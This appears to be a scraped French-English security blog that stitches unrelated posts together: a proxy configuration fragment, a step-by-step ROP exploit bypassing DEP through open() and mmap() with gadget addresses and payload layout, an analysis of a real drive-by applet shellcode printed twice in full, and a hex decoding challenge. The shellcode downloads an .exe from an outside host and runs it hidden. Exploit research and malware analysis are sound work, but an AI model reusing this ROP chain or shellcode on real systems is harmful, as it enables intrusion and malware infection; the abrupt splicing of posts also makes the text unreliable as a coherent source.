service privoxy restart

Optimisation de firefox pour privoxy (modifier dans about:config) :

network.http.keep-alive true

network.http.keep-alive.timeout 600

network.http.max-connections 30

network.http.max-connections-per-server 15

network.http.max-persistent-connections-per-proxy 16

network.http.max-persistent-connections-per-server 6

network.http.pipelining true

network.http.pipelining.maxrequests 8

network.http.pipelining.ssl true

network.http.proxy.keep-alive true

network.http.proxy.pipelining true

Chromium-browser avec proxy :

Plugin Chromium : Proxy switchy !

https://chrome.google.com/extensions/detail/caehdcpeofiiigpdhbabniblemipncjj?hl=en

Proxy switchy pour chromium-browser

Firefox sur privoxy:

firefox privoxy configuration

Gnome sur proxy :

Naviguez dans :

System -> Preferences -> Network Proxy

Gnome proxy (polipo) system wide

Liens concernant cet article :

L’astuce pour executer chromium-browser en root :
http://ksiiitm.blogspot.com/2011/05/running-chromium-browser.html
Récupéré son mot-de-passe MYSQL :
http://www.cyberciti.biz/tips/recover-mysql-root-password.html
Documentation officielle phpmyadmin :
http://www.phpmyadmin.net/documentation/#quick_install
Site pourvu de tutoriels intéressant sur la navigation anonyme.
http://bodhizazen.net/Tutorials/TOR

1) Introduction

I am going to talk about a way to bypass DEP (Data Execution Prevention) in local exploitation. DEP is intended to prevent an application from executing code from a non-executable memory region, including the stack. This helps prevent certain buffer overflow exploits. But as we know, some methods have been already described previously. They relies on:

• a classic “ret-to-libc”
• copying data into executable regions
• disabling DEP for the current process.

Recently, I was looking for another technique adapted to a Linux system and I thought to use mmap() to map a local file containing our shellcode in the virtual memory and then jump on it. ROP (Return-Oriented Programming) technique will be used to craft the function parameters.

After a web search, I did not notice any articles treating about this. That’s why I took the opportunity to describe it through a basic example in this paper. I will explain the exploit design in detail, according to the difficulties encountered, and some tricks for overcoming them.

2) Description of the attack scenario

For this article, we use a source-code which has a common buffer overflow due to a bad usage of the strcpy() function (because of non realized checks on the input string parameter).

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

 void copy(char *arg)
 {
     char msg[128];
     strcpy(msg,arg);
     printf("your argument is: %s\n",msg);
 }

 int main(int argc, char **argv)
 {
     if (argc != 2)
     {
         printf("Usage : prog argv1\n");
         exit(1);
     }

    copy(argv[1]);
    return 0;
 }

This source-code is compiled without SSP (Stack-Smashing Protector) and the ASLR is currently disabled.

First of all, one of the major difficulty is related to the two APIs chaining. Actually, it necessarily open a local file with the open() function and call mmap() function with the file descriptor returned by open().

Then, the second aspect will be to craft the input parameters knowing that NULL bytes will be required for mmap() function. We will see further details about this approach.

Finally, we need to find useful “gadgets” to forge our attack scenario. Note that, there are no generic way to build our ROP exploit, several solutions are possible, we should think a bit cleverer than previously.

Before going into details, we must find out a way to build our exploit. Firstly we verify the functions prototype.

The open() function:

int open(const char *pathname, int flags);

where the return value is a file descriptor and the input parameters are the file name and the access modes.

The mmap() function:

void *mmap(void *start, size_t length, int prot, int flags, intfd, off_t offset);

The return value is a pointer in the mapped area , the input parameters are :

• the starting address (usually set to 0),
• the data length to map,
• the memory protection (PROT_EXEC, PROT_READ, PROT_WRITE),
• the type of the mapped object (MAP_SHARED, MAP_PRIVATE),
• the file descriptor
• the offset.

Now we need a global view of the BoF skeleton onto the stack according to the function parameters.

Well, if it looks scary, read carefully the following lines.

On the one hand, as classical buffer overflow, we had to seek the number of bytes in order to overwrite eip and ebp registers. In this case, I need 136 bytes.

On the second hand, I would like to get directly the function addresses and gadgets into the “libc” library.

Note : For understanding purpose, this proof of concept describes a situation without the ASLR protection.

Under GDB, I get the two following addresses:

 gdb$ p open
 $1 = {<text variable, no debug info>} 0xb7694b10 <open>

 gdb$ p mmap
 $2 = {<text variable, no debug info>} 0xb76a1ab0 <mmap>

3) Building a ROP exploit

I decided to split the exploit implementation in three parts. These steps will describe how to open our local file, how to map it after having crafted parameters and finally how to jump on it.

3.1) Step 1 – Open a file containing our shellcode with “ret-to-libc” method

Question: Should I build the open() arguments on the fly?
Answer: No, you can do that by setting parameters in your shellcode.

In order to set the pathname parameter, we basically look for a pointer on a string into the binary, in example, helped by the environment variables.

The following commands show a list of several choice:

 gdb$ x/220s $esp
 0xbffff484:     "\220\204\004\b����P\204��\002"
 0xbffff492:     ""
 0xbffff493:     ""
 0xbffff494:     "\024��� ���8+��"
 [SNIP]
 0xbffffd09:     "COLUMNS=144"
 0xbffffd15:     "DESKTOP_SESSION=default"
 0xbffffd2d:     "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"
 0xbffffd7a:     "_=/usr/bin/gdb"
 0xbffffd89:     "GDM_XSERVER_LOCATION=local"
 [SNIP]

 gdb$ x/s 0xbffffd15+10
 0xbffffd25:     "default"

We decide to use the “default” string at the 0xbffffd25 address to create this file in the current binary path. This one will be filled with our shellcode.

Now, how to set the “flag” parameter that allows us to define the file access mode?

We need some information about the possible values. The first reaction consist to drop our eyes on the Linux man page.

I quote:
The parameter flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR. These request opening the file read-only, write-only, or read/write,  respectively. In addition, zero or more file creation flags and file status flags can be bitwise-or’d in flags. The file creation flags are O_CREAT, O_EXCL, O_NOCTTY, and O_TRUNC. The file status flags are all of the remaining flags listed below…

Ok, but we need values corresponding to each options, and we can get them in the “fcntl.h” header file.

 #define O_RDONLY    0x0000
 #define O_WRONLY    0x0001
 #define O_RDWR      0x0002
 #define O_ACCMODE   0x0003
 #define O_BINARY    0x0004    /* must fit in char, reserved by dos */
 #define O_TEXT      0x0008    /* must fit in char, reserved by dos */
 #define O_NOINHERIT 0x0080    /* DOS-specific */
 #define O_CREAT     0x0100    /* second byte, away from DOS bits */
 #define O_EXCL      0x0200
 #define O_NOCTTY    0x0400
 #define O_TRUNC     0x0800
 #define O_APPEND    0x1000
 #define O_NONBLOCK  0x2000

The purpose consists in forging a parameter value without NULL byte. We cannot realize that by choosing only one of these available options but It will be possible with a combination among them. We take the 0×0202 (O_RDWR | O_EXCL) value and repeat it twice to get an integer value (0×02020202).

Note: It is wiser to check the first step our exploit building, just to see if it is working. We take a look around the returned value of the open() function and if nothing is happening, we should get a positive value into eax register.

As the world is wonderful, obviously it works! Actually, the “eax” register contains the file descriptor value.

3.2) Step 2 – Craft mmap() parameters into the stack with ROP gadgets

This is probably the most difficult step where only your creative mind could lead you in a successful exploitation.

Note: You could do it wrong, on this case, research meticulously up to reach interesting results.

This step requires to use gadgets because most of mmap() parameters must be initialized with NULL bytes values. For illustrating that, the stack with mmap() parameters will look like this:

We could be surprised to see a one byte length for mapping the specified file. While we allocate an area into the virtual memory, the allocation is done by page size of a 4096 bytes length on a 32 bit system. So, we don’t need to calculate our shellcode size and it will be easier to push a 0×01 value than a 0×106 value.

Here is a list of some potential useful gadgets. So, we turned towards the use of “ropeme-bhus10” tool (a powerful script designed to search plenty of interesting gadgets).

As it was previously said, this PoC was based on libc for finding gadgets , the results decided to be kept are the following:

 0x5af69L: mov edx 0xffffffff ;;           // => 0xB7EDCF69
 0x3734L: inc edx ;;                       // => 0xB7E85734
 0xe4167L: pop ecx ; pop ebx ;;            // => 0xB7F66167
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;   // => 0xB7F2463A
 0x76e13L: add ecx ebp ;;                  // => 0xB7EF8E13
 0xd1e7aL: mov [ecx+0x4] edx ; pop ebp ;;  // => 0xB7F53E7A
 0xfb6eaL: mov [ecx+0x8] eax ; pop ebp ;;  // => 0xB7F7D6EA
 0x5d7f5L: mov [ecx] edx ; pop ebp ;;      // => 0xB7EDF7F5
 0x5f377L: mov edx eax ; mov eax edx ;;    // => 0xB7EE1377
 0xe401bL: call eax ; pop ebx ; pop ebp ;; // => B7F6601B

We get an offset, it will be necessary to add this value with the “libc” image base. Ldd command can provide us this address:

$ ldd ropmap
 linux-gate.so.1 =>  (0xb7fe3000)
 libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7e82000)
 /lib/ld-linux.so.2 (0xb7fe4000)

We also search for a « leave/ret » instruction  selected on the binary file.

 0x8048312L: leave ;;

Now we will see step by step how to arrange the gadgets for crafting each parameter. However an issue occurs, I don’t know the stack address where the mmap() parameters could be stored because the number of gadgets address is currently unknown. Now we take a realistic address (for example 0xbffff4b0) and we will try to fix it later.

If we keep an eye on the buffer overflow skeleton, particularly while the open() function is executed, it returns on a “leave/ret” instruction which will load esp with the new “ebp” value. Then ebp takes the new fake “ebp” to point on the first mmap() argument. Finally the first instruction of ROP gadget will be executed.

We will now see how to craft our mmap() parameters.

3.2.1) ROP chaining for crafting the first argument to 0

Status registers once open() returned:

One of the most important point for crafting parameters is to locate gadgets which allow us to write into the stack.

If we look to our selected gadgets list, we can notice instructions to save a value register towards the address pointed by ecx.

 mov [ecx+0x4] edx ; pop ebp ;;
 mov [ecx+0x8] eax ; pop ebp ;;
 mov [ecx] edx ; pop ebp ;;

So we could beneficiate of these instructions for setting the stack as we want. Consequently, ecx register should point towards addresses where parameters will be stored.

Because we don’t found gadgets who allow us to put 0 into edx register, we thought about a tip for overcoming this issue. This one relies on integer overflow. Actually, if we add 1 to 0xffffffff value, the result should be 0×100000000 but it will be truncated to 0×00000000 due to integer size.

Moreover we must also put 0 into ecx register. I do not have again a gadget to realize easily this operation. So if we put 0xffffffff on the stack ,we would be able to initialize ecx thanks to a “pop ecx” instruction. As previously we increment the ecx register for getting a zero value.

Below the ROP gadget chaining gives us the following asm code:

 mov edx 0xffffffff ;;
 inc edx ;;                      // edx equals 0
 pop ecx ; pop ebx ;;            // ecx pops the 0xffffffff value on the stack
 inc ecx ; or [esi+0x5d] bl ;;   // ecx = 0xffffffff + 1 = 0
 add ecx ebp ;;                  // ecx is initialized with ebp value
 mov [ecx] edx ; pop ebp ;;

And we obtain the following ROP exploit on the stack:

 128*"A"
 0xbffff470         // fake ebp
 0xb7f48b10         // @open
 0x08048312         // leave/ret
 0xbffffd25         // filename "default"
 0x02020202         // Access mode
 0x bffff4b0        // Base address to store mmap registers
 0xb7edcf69         // mov edx 0xffffffff ;;
 0xb7e85734         // inc edx ;;
 0xb7f66167         // pop ecx ; pop ebx ;;
 0xffffffff
 "BBBB"
 0xb7f2463a         // inc ecx ; or [esi+0x5d] bl ;;
 0xb7ef8e13         // add ecx ebp ;;
 0xb7edf7f5         // mov [ecx] edx ; pop ebp ;;
 "BBBB"             // save EBP
 "AAAA"             // EIP

3.2.2) ROP chaining for crafting the second and the fourth argument to 1

Status registers once the first mmap() argument is crafted:

Now, we have to set the size to 1, so we need to increment edx just one time and ecx four times so as to point on the right address.

Below the ROP gadget chaining gives us the following asm code:

 inc edx ;; /* edx = 1 */
 inc ecx ; or [esi+0x5d] bl ;;
 inc ecx ; or [esi+0x5d] bl ;;
 inc ecx ; or [esi+0x5d] bl ;;
 inc ecx ; or [esi+0x5d] bl ;;
 mov [ecx] edx ; pop ebp ;;
 mov [ecx+0x8] edx ; pop ebx ; pop ebp ;;

Instead of “AAAA” EIP value on the previous ROP exploit, we add the following instructions set:

 0xb7e85734        // inc edx ;;
 0xb7f2463a        // inc ecx ; or [esi+0x5d] bl ;;
 0xb7f2463a
 0xb7f2463a
 0xb7f2463a
 0xb7edf7f5        // mov [ecx] edx ; pop ebp ;;
 0xb7fff4b0
 0xb7f50161        // mov [ecx+0x8] edx ; pop ebx ; pop ebp ;;
 "BBBB"
 0xb7fff4b0        // save EBP
 "AAAA"            // EIP

3.2.3) ROP chaining for crafting the third argument to 4

Status registers once the second and the fourth mmap() arguments have been crafted:

For this fourth parameter, we have to put 0×04 value instead of 0xbffff4bc value.

Below the ROP gadget chaining gives us the following asm code:

 0x3734L: inc edx ;; /* edx = 1 */
 0x3734L: inc edx ;;
 0x3734L: inc edx ;;
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;
 0x5d7f5L: mov [ecx] edx ; pop ebp ;;

Instead of “AAAA” EIP value on the previous ROP exploit, we add the following instructions set:

 0xb7e85734        // inc edx ;;
 0xb7e85734
 0xb7e85734
 0xb7f2463a        // inc ecx ; or [esi+0x5d] bl ;;
 0xb7f2463a
 0xb7f2463a
 0xb7f2463a
 0xb7edf7f5        // mov [ecx] edx ; pop ebp ;;
 0xb7fff4b0        // save EBP "\xb0\xf4\xff\xbf"
 "AAAA"            // EIP

3.2.4) ROP chaining for crafting the fifth argument to “fd” value (file descriptor)

Status registers once the third mmap() argument has been crafted:

The purpose consists to put the file descriptor stored in “eax” register into “edx” register and to use the appropriated gadget for writing this value in memory.

Below the ROP gadget chaining gives us the following asm code:

 0x5f377L: mov edx eax ; mov eax edx ;;
 0xce161L: mov [ecx+0x8] edx ; pop ebx ; pop ebp ;;

Instead of “AAAA” EIP value on the previous ROP exploit, we add the following instructions set:

 0xb7ee1377        // mov edx eax ; mov eax edx ;;
 0xb7f50161        // mov [ecx+0x8] edx ; pop ebx ; pop ebp ;;
 "BBBB"
 0xbffff4b0        // save EBP
 "AAAA"            // EIP

3.2.5) ROP chaining for crafting the sixth argument to 0

Status registers once the fifth mmap() argument has been crafted:

Below the ROP gadget chaining gives us the following asm code:

 0x5af69L: mov edx 0xffffffff ;;
 0x3734L: inc edx ;;
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;
 0xa263aL: inc ecx ; or [esi+0x5d] bl ;;
 0xce161L: mov [ecx+0x8] edx ; pop ebx ; pop ebp ;;

Instead of “AAAA” EIP value on the previous ROP exploit, we add the following instructions set:

 0xb7edcf69        // mov edx 0xffffffff ;;
 0xb7e85734        // inc edx ;;
 0xb7f2463a        // inc ecx ; or [esi+0x5d] bl ;;
 0xb7f2463a
 0xb7f2463a
 0xb7f2463a
 0xb7f50161        //mov [ecx+0x8] edx ; pop ebx ; pop ebp ;;
 "BBBB"
 0xbffff4b0        // save EBP
 "AAAA"            // EIP

3.3) Step 3 – Call mmap() and jump on the mapped area

We should set the mmap() address instead of “AAAA” EIP value on the previous ROP exploit with 0xb76a1ab0 value. But, we also need to modify our previous base address to store mmap() parameters (0xbffff4b0). Actually, we know the ROP exploit size and on my side, the new value is 0xbffff4a0. It will then replace this value everywhere in our exploit.

At this point, we have crafted all mmap() parameters. As previously with the open() function, it is safer to check if the second step of our exploit building is functional. We are going to watch the return value of mmap() function call and if nothing happen, we should get a pointer from the mapped area into “eax” register, otherwise -1.

On the bag it works again! Actually, the “eax” register contains our base address of mapped area. As written « Put your shellcode here!!! » in the local file, we retrieve it on this base address.

Finally, It only remains to jump on our mapped area with a « call eax » instruction. We can find it at the 0xb7f6601b address.

Our final ROP exploit will look like this:

Before the exploit execution, we do not forget to fill the « default » file with our shellcode. This is how to do :

Below, a screenshot under GDB showing the successful exploit. If we wish to make it functionnal in normal execution, you should modify some addresses on the stack. It is due to stack shifting when a program runs under GDB.

4) Conclusion

Through this article, we have seen a local exploitation for defeating DEP. This one relies on open() and mmap() functions chaining. I described in details how to build an exploit based on ROP technique dedicated to craft parameters. The experimented difficulties and some tips to overcome them. It may probably exist other ways for a successful attack scenario (of course). Anyway, the purpose was to show you the ability to do it with a technical approach.

For any questions or comments about this article content, you could join me to « trashomeo [at] gmail [dot] com ».

Special thanks to p3lo for his rereading.

Have ROP!
Homeostasie (Nicolas.D)

Download this article in PDF format here.

niveau : intermédiaire
Connaissances requises : logique, décodage, programmation

Le résultat est une chaîne de caractère numérique, postez votre réponse comme commentaire au blog.

Bonne recherche.

Indice 1: Al-Kindi

Challenge (s’écrit en une seule ligne):

6661696c65642120e761206e276573742068e96c61732070617320656e

2074656e74616e742064652064e9636f64e9206365206d657373616765

2071756520766f75732061727269766572657a20612074726f7576e920

6c652072e973756c746174206465206365206368616c6c206469726563

74656d656e74206573736179657a20656e636f72652e20696e646963652

06e756d65726f2032203a203131

Au cours de ce topic, je vais vous présenter un cas de navigation dangereuse qu’un internaute a rencontré, via l’utilisation d’un proxy anonyme, il y a maintenant quelques temps. Peu importe, le principe reste le même, seul l’exploit change.

Ainsi, je présenterais dans un premier temps, de quelle manière il est possible d’être infecté et j’effectuerais ensuite une analyse détaillée de la charge malveillante.

Pour résumer le contexte, moi-même et Thibaut.L faisions une analyse conjointe d’URLs douteuses. A contrario de moi, il utilisait un proxy anonyme pour effectuer son investigation et il se rendit compte qu’une requête réseau supplémentaire avait lieu vers une autre site alors que de mon côté ce n’était pas le cas.

Je décidai donc de m’attaquer à cet aspect.

Dans un premier temps, l’utilisation de ce proxy anonyme rajoutait une redirection vers l’URL suivante: http://x.y.w.z/tube/index2.html“.

Une fois redirigé sur ce lien, une requête GET était à nouveau faite vers l’adresse 84.16.u.v, qui avait apparemment comme nom d’hôte “hithrove.com”.

Ci-dessous la requête et la réponse:

GET /june/news.php HTTP/1.1
Host: hithrove.com
Keep-Alive: 300
Connection: keep-alive
Referer: http://x.y.w.z/tube/index2.html

HTTP/1.1 200 OK
Date: Sun, 28 Mar 2010 15:38:13 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Content-Length: 1230
Connection: close
Content-Type: text/html; charset=UTF-8

<!– With comprehensive cover we could keep you moving with a courtesy car –>
<applet width=’100%’ height=’100%’ code=’A.class’ archive=’/june/A.php’>
<!– The company has created an excellent website which incorporates all that is good about online business, offering an instant quote and the opportunity to arrange cover within minutes. –>
<param name=’sc’ value=’eb1f92969790975b9296929633c966b94e019097803 31492964392e2f79292eb05e8e1ffffff84848484848484848 484fc14141414ff14fde81414144b70b5241414146c189f541 89f6408b99f7c1cff1d9f54209954689f7c289fe37e104dfc9 b141414f6ed7c7b7a14147c6166787940eb029ffcfc6d14141 49fc353942b1461ee534353942b1461ee9ffb4b27dd95f8101 514149fc84546477c10151414eb42184e4d45469f164757942 f1461ee956fe83a716c71611797ff1c9d17d357103a716c71d 2571c144f9ed510249c511427d44444474344eb420497ec146 1127e1547eb42104e4d97d61055942e1461a0eb421c45429f6 1289f603a6c17e1429f623417e127dd5d55b917d127cf1baa0 42ec2601cd5df1917ce54ffe52f0b61f34a9f4a3017c9729f1 85f9f4a0817c99f109f17d1bf4a4dd7fcebeaebeb9a5a1af88 cea9e1a6accf66727de9e4f220e3b645e5b625a147c6060642 e3b3b7c7d607c667b62713a777b793b7e617a713b21242d2c2 4′ />

<!– Get a Quote and Save Online –>
<param name=’np’ value=’90909090′ />
</applet>

Oh, quesako, on dirait bien que le champ value, paramètre de l’applet, contient un shellcode au vu de cette suite d’octets.

Bien je crois que le chemin est tracé, lançons nous dans du reverse engineering pour comprendre l’objectif de ce shellcode.
Tout d’abord, je le rends exploitable sous forme de chaîne de caractère en C pour pouvoir le débugger:

char shellcode[] = 
"\xeb\x1f\x92\x96\x97\x90\x97\x5b\x92\x96\x92\x96\x33\xc9\x66\xb9\x4e\x01\x90\x97"
"\x80\x33\x14\x92\x96\x43\x92\xe2\xf7\x92\x92\xeb\x05\xe8\xe1\xff\xff\xff\x84\x84"
"\x84\x84\x84\x84\x84\x84\x84\x84\xfc\x14\x14\x14\x14\xff\x14\xfd\xe8\x14\x14\x14"
"\x4b\x70\xb5\x24\x14\x14\x14\x6c\x18\x9f\x54\x18\x9f\x64\x08\xb9\x9f\x7c\x1c\xff"
"\x1d\x9f\x54\x20\x99\x54\x68\x9f\x7c\x28\x9f\xe3\x7e\x10\x4d\xfc\x9b\x14\x14\x14"
"\xf6\xed\x7c\x7b\x7a\x14\x14\x7c\x61\x66\x78\x79\x40\xeb\x02\x9f\xfc\xfc\x6d\x14"
"\x14\x14\x9f\xc3\x53\x94\x2b\x14\x61\xee\x53\x43\x53\x94\x2b\x14\x61\xee\x9f\xfb"
"\x4b\x27\xdd\x95\xf8\x10\x15\x14\x14\x9f\xc8\x45\x46\x47\x7c\x10\x15\x14\x14\xeb"
"\x42\x18\x4e\x4d\x45\x46\x9f\x16\x47\x57\x94\x2f\x14\x61\xee\x95\x6f\xe8\x3a\x71"
"\x6c\x71\x61\x17\x97\xff\x1c\x9d\x17\xd3\x57\x10\x3a\x71\x6c\x71\xd2\x57\x1c\x14"
"\x4f\x9e\xd5\x10\x24\x9c\x51\x14\x27\xd4\x44\x44\x47\x43\x44\xeb\x42\x04\x97\xec"
"\x14\x61\x12\x7e\x15\x47\xeb\x42\x10\x4e\x4d\x97\xd6\x10\x55\x94\x2e\x14\x61\xa0"
"\xeb\x42\x1c\x45\x42\x9f\x61\x28\x9f\x60\x3a\x6c\x17\xe1\x42\x9f\x62\x34\x17\xe1"
"\x27\xdd\x5d\x55\xb9\x17\xd1\x27\xcf\x1b\xaa\x04\x2e\xc2\x60\x1c\xd5\xdf\x19\x17"
"\xce\x54\xff\xe5\x2f\x0b\x61\xf3\x4a\x9f\x4a\x30\x17\xc9\x72\x9f\x18\x5f\x9f\x4a"
"\x08\x17\xc9\x9f\x10\x9f\x17\xd1\xbf\x4a\x4d\xd7\xfc\xeb\xea\xeb\xeb\x9a\x5a\x1a"
"\xf8\x8c\xea\x9e\x1a\x6a\xcc\xf6\x67\x27\xde\x9e\x4f\x22\x0e\x3b\x64\x5e\x5b\x62"
 "\x5a\x14\x7c\x60\x60\x64\x2e\x3b\x3b\x7c\x7d\x60\x7c\x66\x7b\x62\x71\x3a\x77\x7b"
"\x79\x3b\x7e\x61\x7a\x71\x3b\x21\x24\x2d\x2c\x24";

Le code commence par un jump suivi directement d’un call. Ce call implique la sauvegarde du registre EIP sur la pile. Ainsi donc, un POP EBX est directement réalisé en début de cette fonction afin de récupérer l’adresse de retour. De cette manière, le shellcode récupère l’emplacement à partir duquel il sera censé déchiffrer le code.

Plusieurs inversement de registres sucessifs avec XCHG sont réalisés, peut être pour bypasser des analyses ou pour « obfusquer » le code.
Ensuite, on constate que le shellcode est chiffré grâce à un XOR avec la valeur 0×14. Une boucle est donc réalisé pour le déchiffrer avant de l’exécuter.
La taille de ce shellcode est contenu dans le registre ECX est à pour valeur 0x14E.

Shellcode avant déchiffrement

Shellcode après déchiffrement

Une fois déchiffré, un jump sur l’adrese de retour est réalisé, on tombe ainsi sur une série de NOP jusqu’à faire un CALL sur l’instruction suivante et entamer la récupération de l’adresse du module kernel32.dll via le PEB pour obtenir dynamiquement les APIs nécessaires pour la suite de l’exécution:

Récupération du PEB

Dans le code original:
- On voit la présence de la ligne JS SHORT 00402051 qui signifie qu’un jump sera effectué si le flag S est à 1, ce qui n’est pas le cas et doit être à mon avis une technique d’obfuscation de code.
- EBP contient l’adresse du module kernel32.dll

Ensuite, il est nécessaire de récupérer les adresses des fonctions qui seront utilisées.
Ici, une technique d’obfuscation est utilisée pour cacher le nom des APIs utilisées. Le shellcode contient à la place un hash de l’API à utiliser. Il se doit donc de retrouver l’adresse de l’API en fonction de ce hash.
Pour cela, il va parcourir tout les noms des APIs exportées par kernel32. pour chaque nom, il en faira un hash sur 4 octets. Puis il comparera la valeur obtenue avec celle prévue. Si la comparaison est ok, il récupérera l’adresse de l’API en question pour la stocker à la place du hash. Nice! ;-)

Remplacement du hash par l'adresse réelle

Après décodage des hashs, voici les fonctions récupéres et la valeur hashée de la fonction correspondante:

• LoadLibraryA -> 0xec0e4e8e    [ESI]
• WinExec -> 0xe8afe98        [ESI+4]
• ExitProcess -> 0x73e2d87e    [ESI+8]
• GetTempPathA -> 0x5b8aca33    [ESI+10]

Ci-dessus, la routine permettant le calcul du hash d’APIs:

Fonction de hashage

Remarque: Avant d’appeler la fonction “CALL 004020F3″ qui permet donc de retrouver l’adresse d’une fonction à partir de la table d’exportation et de son nom hashé, ECX est paramétré à la valeur 4. Il y a donc bien 4 adresses à trouver.

Ensuite, on retrouve les instructions suivantes:

00402066   68 6F6E0000      PUSH 6E6F
0040206B   68 75726C6D      PUSH 6D6C7275
00402070   54               PUSH ESP
00402071   FF16             CALL DWORD PTR DS:[ESI]               ; kernel32.LoadLibraryA

Avec comme chaîne passée “urlmon”.

Une fois la DLL “urlmon.dll” chargée en mémoire, à nouveau une recherche de fonction via le nom hashé est effectué. L’API recherchée est la suivante:

• URLDownloadToFileA -> 0x702f1a36    [ESI+C]

Oh, comme le hasard fait bien les choses! ;-)

Puis, 2 chaînes de caractères sont récupérées:

• JOvN
• http://hitrove.com/june/50980

Il s’ensuit l’appel à la fonction GetTempPathA():

00402097   51               PUSH ECX    ; 0
00402098   52               PUSH EDX    ; JOvN
00402099   53               PUSH EBX    ; Adresse du chemin récupéré -> 0x22fe4c
0040209A   68 04010000      PUSH 104    ; Taille de la chaine, soit 260 octets
0040209F   FF56 0C          CALL DWORD PTR DS:[ESI+C] ; kernel32.GetTempPathA

D’après le code suivant, deux parties de chaînes sont comparées:

004020AF   817B FC 2E657865 CMP DWORD PTR DS:[EBX-4],6578652E  ; .exe
004020B6   75 03            JNZ SHORT AnalyseV.004020BB

On copie ensuite les données suivantes à la valeur pointée par EBX:

004020BB   8903             MOV DWORD PTR DS:[EBX],EAX        ; JOvN
004020BD   C743 04 2E657865 MOV DWORD PTR DS:[EBX+4],6578652E ;.exe
004020C4   C643 08 00       MOV BYTE PTR DS:[EBX+8],0

Là, je commence à bien me douter que le malware téléchargé aura pour nom « JOvN.exe » et sera stocké dans le répertoire temporaire de la machine infectée.

Maintenant, tout est préparé pour faire appel à URLDownloadToFileA() :

004020D2   50               PUSH EAX 	; 0
004020D3   50               PUSH EAX	; 0
004020D4   53               PUSH EBX	; Le path complet avec le nom du fichier où sera stocké le malware
004020D5   57               PUSH EDI	; l'URL où recherché le malware
004020D6   50               PUSH EAX	; 0
004020D7   FF56 10          CALL DWORD PTR DS:[ESI+10]

Si le téléchargement du fichier a réussi, la prochaine étape est de l’exécuter avec WinExec():

004020DF   6A 01            PUSH 1	; SW_HIDE
004020E1   53               PUSH EBX	; Chemin coplet de l'exécutable
004020E2   FF56 04          CALL DWORD PTR DS:[ESI+4]

Evidemment le processus est lançé en mode “caché” comme propriété de fenêtre.
Enfin pour terminer, on quitte le processus exécutant le shellcode avec un ExitProcess():

004020F0   FF56 08          CALL DWORD PTR DS:[ESI+8]  ; kernel32.ExitProcess

Toutefois il est à noter que durant mon investigation, la page contenant le malware en question n’existe plus, donc pas de risque de se faire infecter.

Pour conclure, un des risques de l’utilisation d’un proxy anonyme tierce est ici mis en évidence. Évidemment, cela n’empêche pas d’être infecté tout simplement en naviguant sur une page WEB d’un site infecté.
D’autre part, je trouvais aussi enrichissant de vous décortiquer un shellcode utilisant des techniques de camouflage comme l’utilisation du chiffrement XOR, l’emploi de hashs pour retrouver l’adresse des APIs utilisées, la fameuse récupération du PEB via le segment FS ainsi que le déroulement classique d’une infection.

Homeostasie (Nicolas.D)

char shellcode[] =  "\xeb\x1f\x92\x96\x97\x90\x97\x5b\x92\x96\x92\x96\x33\xc9\x66\xb9\x4e\x01\x90\x97"
"\x80\x33\x14\x92\x96\x43\x92\xe2\xf7\x92\x92\xeb\x05\xe8\xe1\xff\xff\xff\x84\x84"
"\x84\x84\x84\x84\x84\x84\x84\x84\xfc\x14\x14\x14\x14\xff\x14\xfd\xe8\x14\x14\x14"
"\x4b\x70\xb5\x24\x14\x14\x14\x6c\x18\x9f\x54\x18\x9f\x64\x08\xb9\x9f\x7c\x1c\xff"
"\x1d\x9f\x54\x20\x99\x54\x68\x9f\x7c\x28\x9f\xe3\x7e\x10\x4d\xfc\x9b\x14\x14\x14"
"\xf6\xed\x7c\x7b\x7a\x14\x14\x7c\x61\x66\x78\x79\x40\xeb\x02\x9f\xfc\xfc\x6d\x14"
"\x14\x14\x9f\xc3\x53\x94\x2b\x14\x61\xee\x53\x43\x53\x94\x2b\x14\x61\xee\x9f\xfb"
"\x4b\x27\xdd\x95\xf8\x10\x15\x14\x14\x9f\xc8\x45\x46\x47\x7c\x10\x15\x14\x14\xeb"
"\x42\x18\x4e\x4d\x45\x46\x9f\x16\x47\x57\x94\x2f\x14\x61\xee\x95\x6f\xe8\x3a\x71"
"\x6c\x71\x61\x17\x97\xff\x1c\x9d\x17\xd3\x57\x10\x3a\x71\x6c\x71\xd2\x57\x1c\x14"
"\x4f\x9e\xd5\x10\x24\x9c\x51\x14\x27\xd4\x44\x44\x47\x43\x44\xeb\x42\x04\x97\xec"
"\x14\x61\x12\x7e\x15\x47\xeb\x42\x10\x4e\x4d\x97\xd6\x10\x55\x94\x2e\x14\x61\xa0"
"\xeb\x42\x1c\x45\x42\x9f\x61\x28\x9f\x60\x3a\x6c\x17\xe1\x42\x9f\x62\x34\x17\xe1"
"\x27\xdd\x5d\x55\xb9\x17\xd1\x27\xcf\x1b\xaa\x04\x2e\xc2\x60\x1c\xd5\xdf\x19\x17"
"\xce\x54\xff\xe5\x2f\x0b\x61\xf3\x4a\x9f\x4a\x30\x17\xc9\x72\x9f\x18\x5f\x9f\x4a"
"\x08\x17\xc9\x9f\x10\x9f\x17\xd1\xbf\x4a\x4d\xd7\xfc\xeb\xea\xeb\xeb\x9a\x5a\x1a"
"\xf8\x8c\xea\x9e\x1a\x6a\xcc\xf6\x67\x27\xde\x9e\x4f\x22\x0e\x3b\x64\x5e\x5b\x62"
 "\x5a\x14\x7c\x60\x60\x64\x2e\x3b\x3b\x7c\x7d\x60\x7c\x66\x7b\x62\x71\x3a\x77\x7b"
"\x79\x3b\x7e\x61\x7a\x71\x3b\x21\x24\x2d\x2c\x24";

Attackvector fuzzing code database

http://thehackability.com/vectors/

Attention :  Ces videos sont des expériences de pentest, la musique ne correspondra pas forcément à vos goûts, vous pouvez réduire le son a l’aide de l’icone du haut parleur.

